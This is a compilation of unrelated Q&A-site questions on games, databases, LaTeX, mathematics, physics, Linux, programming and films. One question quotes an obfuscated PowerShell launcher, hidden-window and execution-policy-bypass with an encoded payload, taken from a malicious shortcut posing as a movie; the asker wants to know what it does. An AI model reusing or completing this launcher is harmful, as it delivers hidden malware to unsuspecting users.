Is it possible to get a shiny legendary? If so, when is it decided?

A bit of a multiheaded question here, but it didn't quite justify being four different questions.   Is it possible to get a shiny legendary pokemon in the Pokemon games? If so, when is it generated? Does the overworld sprite reflect the shiny status? Does this vary by generation?


How to rename MySQL database name using Query?


Minimal LateX installation needed for a simple document

I want to create a simple one page PDF document with some figures (png) plus some text (no maths) and would like to avoid installing the full 2GB MikTex for that. Is there some minimal small sized teX package designed for such small projects? Thanks,


How to randomly mix List content under the same indexes

I'm wondering, what is a proper way to mix List<string> list = new List<string>(); content inside the list randomly, without using of another list for random rewriting.   For example, if I got value by index this way:  list[0]; list[1]; list[2]; list[3];   and order output is:  line1 line2 line3 line4   after desired mixing, how is possible to get it under the same indexes, but over the randomly mixed values:   list[0]; list[1]; list[2]; list[3];   to get random order inside the list:  line2 line4 line1 line3


Is there any limit to the number of users connected via Personal Hotspot?

How many users can be connected to an iPhone's personal hotspot? Does the limit differ from device to device? I want to know the limit of maximum users.


Last activity on question shows modified by user who did not ask or answer

.       The  has no sign of the user sharth The  also does not have any sign of related activity   I would like to know why the user's name is associated with the question. At least why their display name shows up as having modified the question timeline activity.  Possible reason that I can think of is that, .  Is this the reason?  Is there a way (for normal users), to look for such details, other than looking at the user activity and the question's revision history.


Can I scale all line widths in a tikzpicture?

I have some tikzpictures that were designed for a4 paper and that should now be used on an a0 poster. All the coordinates in the picture can be scaled up with the option scale=4, but this leaves the line widths untouched.  Can I scale the line widths, even those set directly and not using styles like thin, in the entire tikzpicture? Text contained in the picture should not be scaled by this.


Why $\sum_{n=1}^\infty {\ln(n^2) \over n^2 }$ converges?

I have to prove that the series $\displaystyle\sum_{n=1}^\infty {\ln(n^2) \over n^2 }$ converges. The ratio test is inconclusive, so I should use the comparison test, but which series should I compare it with? I tried ${1\over n}$, ${1 \over n^2 }$, but I need a bigger series which converges to prove that this one converges.


In English class today, I wrote the following sentence:      If Susan had told Tom the truth, he would not be so angry.   It seems to me that "so angry" is not really the best way of saying it. Is "as angry as he is" better? Or do you have any other suggesting?


I recently bought myself a pack of four YN560 IV's and a YN560-TX for my Canon camera, and apparently I got ahead of myself and didn't realise I should make sure the flashes support HSS.  I tried them out yesterday at home, and even on 1/128 and 1/250s on the camera, they were overexposing here and there. Unfortunately, I don't really have the space to move the flashes much further from my subject, so I was wondering if there is any way to trick them into HSS? I should mention that I also own a Canon 580ex II, which does support HSS. I was thinking I could perhaps use that mounted on the camera to trigger the Yongnuo's, but as far as I can tell that would render the 560-TX useless as the flashes can't be controlled wirelessly when in S1 or S2.  I guess I could buy an ND filter, but as I have lenses with differing sizes, this feels like more of a pain in the ass.  Is there any hack I can pull off here that you guys know of?  Thanks!


How to derive a ranking function by analysing feature correlations

I am analysing some employee details to find the efficiency of the employees. Ideally I want some rankings to rank them based on these features.  My features include;   current salary projects completed customer ratings number of bugs reported customer complaints employee satisfaction profit age etc.   My target is the ranking of the employee in the job hierarchy.  I did some correlation analysis and found some features that have positive correlation (e.g., salary, projects completed, profit, customer ratings, employee satisfaction etc.).  I also found some features that are negatively correlated with ranking (e.g., customer complaints, number of bugs reported etc.)  Now, I want to use these features to make a function that reflects the employees actual rankings, so that we can use the same function to rank employees in the future.   NOTE: I am not only limited to correlations. I am happy to receive answers using other methods as well.  Is there a any good method to solve my problem.  I am happy to provide more details if needed.


What does specifically this link do or is it a virus?

In Windows 10 I downloaded this file that I thought was a movie but it was a short-cut with a size of 700MB  I see that the target is this     C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd   1 -eXEc ByP  . ( $pshOmE[4]+$PShoMe[30]+'X') ( -JoiN( (44 ,141,   163,160 , 170 ,40 , 75, 40 , 50,50 ,116 , 145 ,167,55 , 117 , 142 ,   152,145 , 143 , 164,40,123 ,171,163,164 , 145,155,56 ,116   And it was set to start at      %SYSTEMROOT%\System32\WindowsPowerShell\v1.0   What does it do?


Is there a prime for every starting sequence of digits?

Suppose, I have a random finite sequence of digits (that doesn't start from 0).  Is it true that there is a prime number (no matter how big) that starts with this sequence of digits?  Examples: 3 => 31 10 => 101 123 => 1237 1000 => 100007


Why do forces have to be mediated by bosons? (Or do they?)

In another question,  about the interaction between photons and electrons. It was suggested that in compton scattering there is no particle to "mediate" the force. The tree-level diagrams in compton scattering of photon and electron are    My questions are:   Why does one not consider the electron to mediate a force between photon and electron? Clearly there is a force, as the two particles scatter, therefore they interact.  Why do force-mediators have to be bosons in general?   If possible I would really prefer an answer which is not just heuristics/storytelling and is grounded in the theory itself.  Edit: A helpful  to essentially the same question has been shared. However, I don't see how the answers are satisfactory to rule out electrons as the force-carrier in the diagrams above. I will explain for each answer.  In the first answer, by Ben Crowell, I see two issues: The spins can add up: $1 - 1/2 = 1/2$, but more importantly, Feynman diagrams are a counting technique to get the combinatorics right. They are strongly suggestive of interactions, but there is no inconsistency if angular momentum is not conserved in a diagram. Otherwise, supposing my spin addition is somehow wrong (which I suspect) then naively, we could use this to predict that electrons and photons do not interact because their mediator would have to be an electron, which would violate angular momentum conservation at tree level, and behold! that prediction would be wrong.  In the second answer by Adam, it suggests that the opposite is true, namely that electrons can be thought of as force carriers.  In the third answer by Trimok, it only addresses interactions between fermions so that's just not the case here.


If $K\leq H\leq G$ (not necessarily finite groups). Then prove that $[G:K]=[G:H]\cdot [H:K]$

Let $K\leq H\leq G$ (not necessarily finite groups).  Why do we have $[G:K]=[G:H]\cdot [H:K]$? I can't figure out a proof in the setting of possibly infinite groups and non-normal subgroups.


If I had the phrase       two blond haired, blue eyed people    would the comma be out of place?    should I hyphenate "blond haired" and "blue eyed"?


Auto-updating column in Google Spreadsheet showing last modify date

Trying to figure out a way to have column two auto-update to show a timestamp of the last update. I realize the doc shows a timestamp of the last modification, but we have a lot of clients accessing and adjusting the doc at the same time. So this request was put in. I'll admit I have not done coding, so this is beyond me.  Myanda had posted something that seemed along the right path, but we are not sure how to implement it for our needs:


MySQL: why provide size of a datatype in table definition?

Below is an example table definition:   CREATE TABLE IF NOT EXISTS `mytable` (       `id` MEDIUMINT(5) NOT NULL AUTO_INCREMENT,       `title` varchar(255) DEFAULT NULL DEFAULT '',       `content` text NOT NULL DEFAULT '',       `date_added` datetime NOT NULL DEFAULT '0000-00-00 00:00',       `date_modified` datetime NOT NULL DEFAULT '0000-00-00 00:00',       `published` tinyint(1) NOT NULL DEFAULT '0',       PRIMARY KEY (`id`)     ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;   For example: as per   MEDIUMINT has 3 Bytes storage and can contains value from -8388608 to 8388607.    Then why should write Mediumint(5), tinyint(1), int(11) etc... in table definition?  What is the impact of defining size of datatype in table definition? Is there any affect of defining size on memory acquisition? If we don't define size of datatype, it automatically define the size. So, isn't it better to not define the size?   My question is not limited to Mediumint and int datatype. It is for all numeric datatypes which MySQL support.Please provide your suggestions as per the concern I raised.


Other proofs that subgroups of $A_5$ have order at most 12

How can it be proved that any subgroup of $A_5$ has order at most 12?  This is [Herstein, Problem 2.10.15], which also gives the hint that I can assume the result of the previous problem that $A_5$ has no normal subgroups $N \ne (e),A_5$.    This problem appears in an earlier section of the text than the Sylow theorems.  There is a proof given at , but it uses the Sylow theorems, and I wonder if a more elementary proof is available.  So far, I can prove the following: For $n \ge 3$, the subgroup generated by the 3-cycles is $A_n$; if a normal subgroup of $A_n$ contains even a single 3-cycle it must be all of $A_n$; $A_5$ has no normal subgroups $N \ne (e),A_5$.  I showed the latter by repeatedly conjugating a given nontrivial element in $A_5$ by 3-cycles to eventually obtain elements whose product is a 3-cycle.


Why is the destination of the Discovery in 2001: A Space Odyssey Saturn in the book and Jupiter in the movie?

So, in the book in 2001, it says the monolith is around Saturn, and in the movie, it says it's around Jupiter. Also, in 2010, they both agree that it's around Jupiter. Why is that?


In a former question, I was suggested to execute:  sudo bash start-dfs.sh   why not  sudo start-dfs.sh   ? I mean, what difference does bash makes?


I saw this from :  If we now also note that $ 1+2+3+\cdots+p = {(1/2)} \cdot p\cdot(p+1) $  What is the intuitive explanation for this?  How would I go about deriving the latter from the former?  It has the summation express which I am not sure how to deal with, so unfortunately I am not even sure how I would begin to show these are equivalent.


How to deal with code which is wrong due to the case sensitive nature of the language?

On Stack Overflow I find many code snippets which are otherwise correct but will throw an error because of the case sensitive nature of the programming language it's written in (Java, Unix, etc).  I try to edit them when possible. But am asking the question because most of the time the changes are less than 6 characters and so editing is not possible. I leave comments but most are ignored.  Is it necessary for a minimum characters cap for editing? I have seen 'Title' can be edited with just one change. And reviewers can easily reject edits which are not useful.  Or will it be useful if we remove the minimum character cap for editing when it is in a code block?  Stack Overflow code snippets have helped millions (including me numerous times) and it hurts to see such trivial mistakes in them.


Does every closed manifold have a finite CW structure?

Hatcher's Algebraic Topology Corollary $3.37$ states that a closed manifold of odd dimension has Euler characteristic zero. But to consider about the Euler characteristic, every closed manifold must have a finite CW structure. However, there are no relevant comments in the book. Is this true? (It should be true, though) Where can I find a proof or statements of this?  Remarks.   There is a theorem that the Euler characteristic does not depend on a particular CW structure(thus, well-defined) for a finite CW complex. More precisely, we have for a finite CW complex $X$, $\chi(X)=\sum_i(-1)^i\mathrm{rank}H_i(X)$, where $\chi(X)$ is the Euler characteristic of $X$. In Hatcher's, a closed manifold means a compact manifold without boundary. In particular, we only need to show that a closed manifold has a CW structure, since a compact CW complex must be finite. Hatcher does not require second countability defining manifolds. Thus, a manifold is just a Hausdorff space which is locally Euclidean.


A rank-nullity theorem between $\mathbb Z^n$ and $\mathbb Z^k$

I think this is correct:     If $\phi:\mathbb Z^{n}\to\mathbb Z^{k}$ is   a group homomorphism then $n=\operatorname{rank}\operatorname{im}\phi+\operatorname{rank}\ker\phi$.   Here is my attempt at a proof:     $\phi$ may be naturally and uniquely extended to a linear map between   $\mathbb Q$-vector spaces $\widetilde{\phi}:\mathbb Q^{n}\to\mathbb Q^{k}$, where $n=\dim\operatorname{im}\widetilde{\phi}+\dim\ker\widetilde{\phi}$.   My questions:   Is this proof correct? I am concerned with "rank" either not making sense for subgroups or not coinciding with "dimension". Does this appear in books (maybe with different formulation)? I have not found it in some standard textbooks I've looked in.


Are there substances that could only exist in one state of matter or at least not all of them?

As an example , water can be found as a liquid, gas or solid. Are there substances that couldn't take all forms of matter? And why?


Black screen on boot after AMDGPU-Pro install (16.04)

I have been having some screen freezing issues on my new Ubuntu 16.04 system, and have been in the troubleshooting process for this issue. I thought it was a graphics driver problem, as I am running an AMD R9 380x card which was supposed to be fully supported by the open-source AMDGPU driver preinstalled with 16.04, but after looking around online, many people seem to have issues with. I thought the answer would be to install the recently released AMDGPU-Pro driver , following the instructions from . However, when I reboot I am getting a black screen. Is there an easy way to revert my changes back? My machine was semi-functional with the freezing issue but now with no video at all is useless to me. How to proceed?


Einstein postulates that the light travels at the same speed $c$ in every inertial frame of reference. Now, if I'm within a train which goes right with velocity $V$ and throw a ball to the right with velocity $v_1$, the ball's velocity on my reference frame would be $v_1$. And from outside the train its velocity would be $V + v_1$. Now what if (from inside that same train) I turn a lantern on to the front of the train. How come the photon doesn't have velocity $V + c$? What is being "sacrificed" in order to keep the photon's velocity equal to $c$?


Removing divs without removing their content in plain Javascript

Could anyone help me on how I can remove div tags without removing their content in JavaScript?  This is my html from which I need to remove all div tags:

some text      Test content

     some text
        Test content        creepiness

   Expected output would be like shown below.
some text     Test content
 some text  Test content  creepiness


How to define template function in source file

How can I declare template function in header file and define in source file?  // foo.h template<typename T> bool foo();  // foo.cpp template<typename T> bool foo() {     return false; }  // main.cpp bool bar = foo<int>();   I've got this so far. It compiles, but fails at linker: "undefined reference to `bool foo<int>()`"


How do I create and query linked database servers in SQL Server?

I need to do a join across two different database servers (IPs 10.0.0.50 and 10.0.0.51). What's the best way?


I could transform it to $$\lim_{x\to\infty}x\left(\dfrac{1}{e}-\left(1+\dfrac{1}{x}\right)^{-x}\right).$$  I think using sandwich theorem would help but I was unable to find the bounds.


Always, when i create ViewController, i have this :  #import "SomeVCC.h" @interface SomeVC ()  @end  @implementation SomeVC  - (void)viewDidLoad {     [super viewDidLoad];     // Do any additional setup after loading the view. }  - (void)didReceiveMemoryWarning {     [super didReceiveMemoryWarning];     // Dispose of any resources that can be recreated. }  /* #pragma mark - Navigation  // In a storyboard-based application, you will often want to do a little preparation before navigation - (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {     // Get the new view controller using [segue destinationViewController].     // Pass the selected object to the new view controller. } */  @end   And often i need some cleaner version, like this:  #import "SomeVC.h" @interface SomeVC ()  @end  @implementation SomeVC #pragma mark - LifeCycle - (void)viewDidLoad {     [super viewDidLoad]; }  @end   How to change apple's or create my own viewContoller template? I have founded some templates using alcatraz, but they are not right for me.


What's the difference between white words black background & black words white background in a book

In general the pages of a book are white and the words of the book are black    Why is it not the other way around     What are the possible reasons that books were designed this way ,   Why is the black word white background favoured over white word black background??


How do Black-Hole singularity and Heisenberg uncertainty principal can co-exist?

According to relativity, Black-holes bends the spacetime in a fashion that the curvature goes infinite and becomes a single point, so the mass collapse to a single point, so density goes infinite as the body has no volume, no dimensions to wiggle around. On the other hand, its location now is determined, hence its momentum goes to infinity. This relation seems impossible to me. You see, I can not avoid to conclude that would create circular reference where the energy would forever increase so would its mass. Can you help me understand what I am missing?


How to get the native version of Spotify running?

A while ago Spotify (the streaming music service) came out with a preview for Linux of their client.  So what should I do?


Why the difference in handling unbound locals in functions versus classes?

When referencing global variables, one can see that functions and classes handle this differently. The first is fine and the second causes an error:  x = 10 class Foo():     x = x + 1 a = foo()   Vs:  x = 10 def faa():     x = x + 1 faa()   In the  , this is described as:     A class definition is an executable statement that may use and define   names. These references follow the normal rules for name resolution   with an exception that unbound local variables are looked up in the   global namespace.   But why?   The only other hint I have come across is :     The class’s suite is then executed in a new execution frame (see   section Naming and binding), using a newly created local namespace and   the original global namespace. (Usually, the suite contains only   function definitions.) When the class’s suite finishes execution, its   execution frame is discarded but its local namespace is saved.  A   class object is then created using the inheritance list for the base   classes and the saved local namespace for the attribute dictionary.   Which still offers no explanation why this should have the consequence that unbound locals are looked up in the global namespace.   Both links are from  which does not adress the why in more details though.


What would happen if you tried to suspend an object half in the horizon of a black hole?

Assuming I did my estimates correctly, if you took two milky way galaxies' worth of mass and squashed it into a Schwarzschild black hole, the acceleration due to gravity one Schwarzschild radius from the center would be equal to that on the surface of Earth (~10 $m/s^{2}$). So in theory it might not be unreasonable to imagine sitting in well-fueled rocket hovering just outside the horizon (in the spirit of the thought experiment, let's ignore radiation bombardment etc.). You should not be squashed by tidal forces nor crushed by the gravity. Now you lower an object from your rocket until it partially crosses the apparent horizon, and attempt to hold it there, stationary with respect to the black hole and your rocket. What happens? What if you then try to pull it out? Do you have to pull hard enough to "break off" the part inside the black hole, or only enough to counter the weight of the portion above the black hole while the inner part just "falls off"? Thoughts: The part of the object inside the black hole should be accelerating toward the singularity. No part of its future light cone is not moving toward the singularity, so it would appear that it is impossible to hold it "just within" the horizon. But how would this "tug" be physically relayed to the part of the object above the horizon? Since nothing can escape the horizon, I would think it follows that includes any pulling force, so the part inside should not be able to pull on the part outside. Assuming the horizon is a perfectly stable and infinitely thin surface, then presumably this means the electrostatic fields of atomic bonding in the object right where the horizon is cutting will become causally severed, and those force-exchange photons can't get out, so no force? Further thoughts: Does this mean that the bottom part of the object would just "fall off" and you'll have cut the object in half? If so, then does that mean that any rate of falling into a black hole slower than complete free fall (i.e. even trying to apply the slightest retarding force from outside the horizon) will cause the object to be sliced up by the horizon, due to the otherwise contradictory requirements that the "inside" part of the object move toward the singularity at some minimum rate, but that it also cannot transmit any force to the outside part? Does this mean in theory if you fell in feet first and tried to lift your arm in the precise moment when only your hand had crossed the horizon, that your hand would fall off?


Strategy to deal with rare events logistic regression

I would like to study rare events in a finite population. Since I am unsure about which strategy is best suited, I would appreciate tips and references related to this matter, although I am well-aware it has been largely covered. I just don't really know where to begin.  My problem is a political sciences one and I have a finite population comprising 515,843 records. They are associated to a binary dependent variable with 513,334 "0"s and 2,509 "1"s. I can coin my "1"s as rare events since they account for only 0.49% of the population.  I have a set of around 10 independent variables I would like to build a model with to explain the presence of "1"s. Like many of us, I read  about rare events correction. Their approach was to use a case-control design to reduce the number of "0"s, then apply correction to the intercept.  However,  that King & Zeng's argument was not necessary if I already collected my data over the whole population, which is my case. Therefore, I have to use the classical logit model. Unfortunately for me, although I obtain good significant coefficients, my model is completely useless in terms of prediction (fails to predict 99.48% of my "1"s).  After reading King & Zeng's article, I wanted to try a case-control design and selected only 10% of the "0"s with all the "1"s. With almost the same coefficients, the model was able to predict almost one third of the "1"s when applied to the full population. Of course, there are a lot of false-positive.  I have thus three questions I would like to ask you:  1) If King & Zeng's approach is prejudiciable when you have full knowledge of the population, why do they use a situation where they know the population in their article to prove their point?  2) If I have good and siginificant coefficients in a logit regression, but very poor predictive power, does that mean that the variation explained by these variable is meaningless?  3) What is the best approach to deal with rare events? I read about King's relogit model, Firth's approach, the exact logit, etc. I must confess I am a lost among all these solutions.


I've seen plenty of problems with making tables in LaTeX formatted the way the programmer would prefer. And some of those have helped me fix my own doument to the point I am not at  I am creating a "bingo" document. It's 4x4 table. Each entry contains a number in the center. Each "slot" is a square. I have two issues. When I run the code (see below), the numbers in the right-most column aren't centered. They are at the top of the "slot" centered horizontally relative to the "slot". I've tried many different things to get these entries where they need to be.... but I'm not sure what to do now. The other thing I would like is to change the font size of the numbers to make them larger.  \begin{table}[ht] \begin{center} \begin{tabular}{| >{\centering\arraybackslash}m{3.5cm} | >{\centering\arraybackslash}m{3.5cm} |  >{\centering\arraybackslash}m{3.5cm} | >{\centering\arraybackslash}m{3.5cm} |} \hline\hline \Huge {\bf 12} & \Huge {\bf 0} & \Huge {\bf 9} & \Huge {\bf 19} \\[3.5cm] \hline \Huge {\bf 15} & \Huge {\bf 4} & \Huge {\bf 2} & \Huge {\bf 3} \\[3.5cm] \hline \Huge {\bf 5} & \Huge {\bf 17} & \Huge {\bf 7} & \Huge {\bf 11} \\[3.5cm] \hline \Huge {\bf 16} & \Huge {\bf 18} & \Huge {\bf 8} & \Huge {\bf 14} \\[3.5cm] \hline \hline \end{tabular} \end{center} \end{table}   I would like to stay as simple as I can with the code. Do you know how to fix this?


In Topics in Algebra Chapter 2 Section 5 Problem 5, Herstein asks to show that the left and right cosets of a subgroup are in one-one correspondence.  If the the group is finite, or abelian, it's trivial, but what about in general?  Somehow I'm not seeing it.  Can someone help me out?


problem in using a 'p' type column to control automatic line-break in tabular

I want the text in tabular to be automatically line-break, and I use a 'p' type column to realize.   \documentclass{article} \begin{document}  \begin{tabular}{p{2.5cm}|p{2.5cm}|p{2.7cm}|p{2.7cm}|p{2.5cm}}  \hline  \cline{1-6} Genitourinary   & Grade 1 & Grade 2   & Grade 3   & Grade 4  \\ \hline Dysurie          & Not therapy       & Oral treatment (no narcotic analgesics)    & Narcotic analgesics   & Not \defined \\ Frequency      & once/2h, twice pretherapy        & once/1h     &once/0.5h (more frequent than hourly)  & Not defined  \\  \hline \end{tabular} \hfill \break \end{document}   But the output is not exactly what I want since there are a large space (mark as red line in the picture) between two words. Could somebody have idea to fix it? Thank you.


Does Princess Renner have other hidden personality as depicted in the 2nd season's ending credit?

From the ED song, it seems like the Princess has dark/other personality which we all don't know about.  Is it true? Is there any story of hers to begin with?  The specific scenes from the ending:


The false claim that resemblance to real people is accidental

Someone recently asked about the false claim that a movie was based on a true story. I often wonder about the opposite claim: Any resemblance to actual persons living or dead is entirely coincidental. It is strange that this message often appears after a film in which such a resemblance is obviously not entirely coincidental. Apparently this affords some kind of legal protection anyhow?


Why the output of below java code is false

In below code variable even if a,c and d stores the same value  (a==c) - is false while (a==d) is true String a="test", String b=a.toUpperCase(); String c=b.toLowerCase(); String d="test"; System.out.println(a==c); // o/p - false System.out.println(a==d);  // True


How can insert a full-width listing in a two-column document?

I'm new to LaTeX; I'm using IEEE format. How can I effectively add Java code snippets in one full-width column?


Second derivative symbol $\frac{d^2y}{dx^2}$!

I'm currently studying taking the second derivative of equations and I have been told the symbol used to represent second derivative is      $$\frac{d^2y}{dx^2}$$   I was just wondering, why this symbol is chosen? Why is it not $$\frac{dy^2}{dx^2}$$ or $$\frac{d^2y}{d^2x}$$


I'm running a predictive model and I have one possible predictive variable that is a factor and has more than 800 levels.  I tried to reduce it running ctree in R (with the variable as the only predictive variable and the original class as class) and using the prediction to bin the variable and reduce the levels.  But ctree takes too long (and never ends). What other method would you recommend?


difference between phase difference and path difference?

I've read up on many websites and I've even looked on this stack exchange but I still don't understand the difference between phase difference and path difference. Can you please explain what each means and then state the difference(s). Thank you in advance


Changing the time, what files get edited?

What Unix files are associated with the system time/date?  If I (or an installation process) changed the system time, what files would actually get accessed and modified?  I think the only thing I found is that timezone is saved in etc/timezone


If $p$ is a prime such that $p≡1\pmod 7$ then $p ≡1\pmod{14}$

Prove or disprove the following:  1)  if $p$ is odd prime such that $p≡1\pmod 7$ then $p ≡1\pmod{14}$  2)  if $p$ is odd prime such that $p≡4 \pmod 7$ then $p ≡4\pmod{14}$  I think that both statement are true and have a similar proof  1) $p≡1\pmod 7$ so $p≡8\pmod 7$ then $7|p-8$ so $p-8= 7 k$ where $k$ is an integer so $p=8+7k$, so $p ≡1\pmod {14}$  It is that a correct proof? Thank you.


Installing Ubuntu without touching Windows

I have a PC with 5 hard drives (SSD and HDD). One of the drives has Windows 10. In the past, I have tried to install Ubuntu and Windows using the following method so there will be no interference between the two operating systems:  I Simply removed all the hard drives, except the one that I wanted to install Ubuntu, then install ubuntu and connect other hard drives. Then select the boot drive using the BIOS.  Can I do the same thing without taking out taking all the drives?  I mean I do not like  to see the GRUB on boot, I want windows to boot as default without the need for GRUB.


Finding what's using all the space in *nix

Which sequence of commands will tell me which files are the largest starting from a particular directory, including all sub directories? I want to know where all the space went.  Preferably just with regular unix'y commands.  If possible, try to keep it compatible with Sun OS 5.10 (perhaps in addition to regular Linux answers, not as a replacement, to keep it as general as possible.)


In the conversation in the car between Doe, Somerset and Mills we see that Doe justifies the murders of all the people he killed according to the seven sins. But how can he justify killing Tracy?


There is an ad-ware worm on my windows 7 PC that I am trying to get rid of. McAfee has been largely unsuccessful. I can see the malicious .exe created under the C:\ProgramData\ folder that is causing the abnormal behaviour: hyper-links on browser when clicked opens a new window with ads.   I deleted the malicious .exefile to stop the behaviour but this only helps temporarily as the .exe is re-created and ran as a background process.   How can I get to the  root of this problem, i.e. find the program that generates this .exe and remove it. Is it possible to trace the generation of .exe files or folders in the ProgramData folder on Windows 7?


What is the literary device for giving a human un-human attributes? For example, a picture of a woman driving a car really quickly saying "She's flying down that road!". What is that literary device?  Also, if this isn't actually a literary device, please let me know what it would be.


Finding the order of an element from a group

I'm stuck with this question:  $G$ is a group. $a, b \in G$ such that $ab = ba$. Show that if $a$ has order $m$, $b$ has order $n$, and $gcd(a,b)=1$, then the order of $ab$ is $mn$.  To help us solve the problem, we've been told (as a hint) to consider $(ab)^{mN}$ and $(ab)^{nN}$.   Here's what I've done so far:  $(ab)^{mn} = (ab) \cdot (ab) \cdot (ab) ... \cdot (ab)$ (mn times)  Since $ab = ba$ and since $G$ is associative:  $(ab)^{mn} = a^{mn} \cdot b^{mn} = e^n \cdot e^n = e$ where $e$ is the identity element.  But I haven't shown that $mn$ is the least positive integer for which this is possible, and I haven't used the hint (which I would like to).   Any help with this problem would be much appreciated.  Jack


How to change overlapping of axis caption in graphs?


Yesterday my laptop's built-in keyboard started typing random keys, i.e. when I press Down Arrow, it would type 3, when I press it again, it would delete a character, pressing the Right Arrow would get me several lines down, then suddenly it would start working normally. Some keys worked properly, but a lot didn't.  I have Linux and Windows, dual boot, happened on both of them. Tried turning off the laptop and removing the battery, but the problem was still there afterwards.  When I plugged in an external USB keyboard and typed through it, it was working just fine, while at the same time, the builtin keyboard was having this weird behavior.  What could be causing this?    Edit  I haven't poured any liquids on the keyboard, but I had the laptop opened a month or so ago, to clean the dust from the fan, and to replace the CPU thermal paste, because it had started heating a lot even when idle.


How To Install Unbuntu Along Windows Sharing 2 Hard Drives

I ordered a PC with no OS. I just installed windows onto the 500mb SSD. I also have in there a 2 terabyte western digital red, not yet formatted. I want to install unbuntu 20.04. I want to install it along side windows on the SSD, and share the Western digital for storage partitions. I'm not sure how to do that. Does anyone know? (Honestly I went overboard with the storage. I don't need that much.)


Why jQuery selector not working after append

When I try jQuery selector after append html element, event is not working but when all page loaded and I try again selector like drag-drop or click event anything else it's working. I used  setTimeout function trying this event after 3 seconds its okay but I don't want to do this. Do we have another way? I'm working with Google Chrome.   $('#conf'+objId).on('toolbarItemClick',  function(event,buttonClicked){      var itemId=buttonClicked.id;      var clickedItemId=event.target.id.slice(4);       var _obj=getObjectById(clickedItemId);      switch (itemId) {     case 'objeEdit':         editBoxNameDialog(clickedItemId,"obj",_obj);     break;     case 'objeCircle':         clearObjectBackground(_obj);     break;     } });


I need to plot f(x) = 1 / x in LaTeX and am trying to with Tikz. I haven't found a way to set the vertical range, so the values go out of bound around x=0.  Using gnuplot directly doesn't seem to be an option because the fix presented  fails.  \begin{frame}     \begin{tikzpicture}         \draw[->] (-10, 0) -- (10, 0) node[right] {$x$};         \draw[->] (0, -10) -- (0, 10) node[above] {$y$};         \draw[color=red, domain=-10:10] plot[id=x] function{1/x} node[right] { $f(x) = x$ };     \end{tikzpicture} \end{frame}   I'm not set on Tikz, if there are other options I am open to them.


Let $p$ be the polynomial $p(x)=1+x+\ldots+x^n$. For which couples $(a, n)\in\mathbb{N}^2$, $p(a)$ is a perfect square? I'm particularly interested in $p(3)$.


PHP Convert formatted date into unixtime

I have dates in the format Y-M-D hour-minute-second 2013-09-03 12:10:28, but I need the unixtimestamp.  PHP has a slough of functions for transforming dates and times, but apprently none that can accept a date and its format and convert it into unixtime. The closest function I found was mktime(), but I would need to parse my current date into each of its components. Is there an easier way?


Does the new guidance on duplicate questions suggest closing a question as duplicate, if the original answers the OP's question?

In other words, should we now look at the content of the answers when we are evaluating questions for possible duplication?  Is it sufficient to say "Your answer can be found in this question over here, therefore your question is a duplicate?"  The new guidance is here:    Among other things, it describes the new close banner:     This question already has an answer here:   Link to the Duplicate Question   ... which seems to suggest that, if some other question in the system answers the OP's question, then the OP's question can be closed as a duplicate on that basis (even if the question itself is not necessarily duplicated).  Example Here:    Note the comments below the question, where I dispute the assertion made there that it is a duplicate question.  The original question doesn't mention unit testing.


Where did the practice of using quotation marks to discredit an opponent ("scare-quotes") come from?

This is a practice extremely prevalent on conspiracy theory blogs and social media (a.k.a., conspiracy theory blogs), but where did the concept of discrediting opponents with quotation marks come from?  The quotation marks are often put around the nouns referring to one's opponent, or sometimes to parts of their view.  For example:     According to "scientists", vaccinations are the number one way to prevent disease, however...   or     This guy I hate "knows" that that thing I hate is such and such...   I've now learned that this tactic is referred to as "scare-quotes". My question isn't about the origin of the phrase "scare-quotes" (), but rather, when did the tactic of using scare-quotes become a common practice?


What is the benefit using different type when creating an object in java?  If i have 2 classes:  public class Animal {      public Animal() {     }      public void move() {         System.out.println("Moving...");     } }   public class Bird extends Animal {      public Bird() {     }      public void fly() {         System.out.println("Flying...");     } }   When i should use:  Animal bird1 = new Bird();   and  Bird bird2 = new Bird();   I still can not understand if Bird extends Animal, why using Animal as variable type?


Quick - Maybe Question on changing gears

Not looking for a overly technical answer here just a very simplistic one I quess.. When switching gears is it best to try and keep both front and rear gears either high or low (Depending) I mean we wouldn't want say front low and rear high or other way around would we ?   Thanks


If $(f_n)\to f$ uniformly and $f_n$ is uniformly continuous for all $n$ then $f$ is uniformly continuous

Show if is true or false: if $(f_n)$ converges uniformly to $f$, and $f_n$ is uniformly continuous for all $n$ then $f$ is uniformly continuous   I think is true. My attempt to prove it: if $(f_n)\to f$ uniformly then we can write  $$(\forall\varepsilon>0)(\exists N\in\Bbb N)(\forall x\in\mathcal D):|f_n(x)-f(x)|<\varepsilon,\quad\forall n>N\tag{1}$$  and cause all $f_n$ are uniformly continuous  $$(\forall\varepsilon>0)(\exists\delta>0)(\forall x,y\in\mathcal D):|x-y|<\delta\implies|f_n(x)-f_n(y)|<\varepsilon,\quad\forall n\in\Bbb N\tag{2}$$  and I want to prove that both conditions implies  $$(\forall\varepsilon>0)(\exists\delta>0)(\forall x,y\in\mathcal D):|x-y|<\delta\implies|f(x)-f(y)|<\varepsilon\tag{3}$$  where $\mathcal D$ is the domain of all of them (cause I have the previous knowledge that uniform convergence of continuous functions implies that the limit function is continuous).  Then from $(3)$ I can write  $$|f(x)-f(y)|=|f(x)-f_m(x)+f_m(x)-f(y)|\le |f(x)-f_m(x)|+|f_m(x)-f(y)|$$  Then I will use some $m$ that holds $(1)$ for some $\frac{\varepsilon}{3}$. And from $(2)$ I will use the $\delta$ that holds for the same $\frac{\varepsilon}{3}$. If $|f(y)-f_m(y)|<\frac{\varepsilon}{3}$ then $f(y)<f_m(y)+\frac{\varepsilon}{3}$. And then finally I can write:  $$\begin{align}|f(x)-f(y)|&\le|f(x)-f_m(x)|+|f_m(x)-f(y)|\\&<\frac{\varepsilon}{3}+|f_m(x)-f_m(y)-\frac{\varepsilon}{3}|\\&<\frac{\varepsilon}{3}+|f_m(x)-f_m(y)|+\frac{\varepsilon}{3}\\&<\frac{\varepsilon}{3}+\frac{\varepsilon}{3}+\frac{\varepsilon}{3}=\varepsilon\end{align}$$  then it proves that exists a $\delta$ such that $|f(x)-f(y)|<\varepsilon$ for some $\varepsilon$ in the required conditions. Now, can you check my proof, telling me if it is right or if it lacks something? Thank you in advance.


Placing the object of an infinitive before it instead of after it

